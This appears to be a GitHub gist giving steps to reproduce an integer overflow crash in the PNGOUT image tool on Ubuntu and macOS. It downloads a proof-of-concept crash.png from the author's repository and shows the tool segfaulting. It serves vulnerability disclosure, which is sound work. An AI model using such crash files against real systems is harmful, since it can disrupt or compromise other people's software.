Instantly share code, notes, and snippets.

mmmdzz / **pngout.md**

Last active 2 years ago

Star

Code Revisions 6

Integer Overflow in PNGOUT

pngout.md

Steps to reproduce the integer overflow in PNGOUT on linux and mac.

On 64-bits Ubuntu 18.04

Download the PoC file

```
$ wget https://github.com/mmmdzz/PoC/raw/main/crash.png

$ md5sum crash.png
c8d6bea2323af47ae947c55ab2802337  crash.png
```

Download PNGOUT

```
$ wget https://www.jonof.id.au/files/kenutils/pngout-20200115-linux.tar.gz

$ tar xvzf pngout-20200115-linux.tar.gz
pngout-20200115-linux/
pngout-20200115-linux/readme.txt
pngout-20200115-linux/i686/
pngout-20200115-linux/i686/pngout
pngout-20200115-linux/aarch64/
pngout-20200115-linux/aarch64/pngout
pngout-20200115-linux/amd64/
pngout-20200115-linux/amd64/pngout
pngout-20200115-linux/armv7/
pngout-20200115-linux/armv7/pngout

$ cp pngout-20200115-linux/amd64/pngout .

$ md5sum pngout
7a9832642cb2456576c1b042e0da9655  pngout
```

Reporduce the crash

```
$ ./pngout crash.png
[1]    340 segmentation fault (core dumped)  ./pngout crash.png
```

On 64-bits Mac0S

Download the PoC file

```
$ wget https://github.com/mmmdzz/PoC/raw/main/crash.png

$ md5sum crash.png
c8d6bea2323af47ae947c55ab2802337  crash.png
```

Download PNGOUT

```
$ brew install jonof/kenutils/pngout
```

Reporduce the crash

```
$ pngout crash.png
[1]    47332 segmentation fault  pngout crash.png
```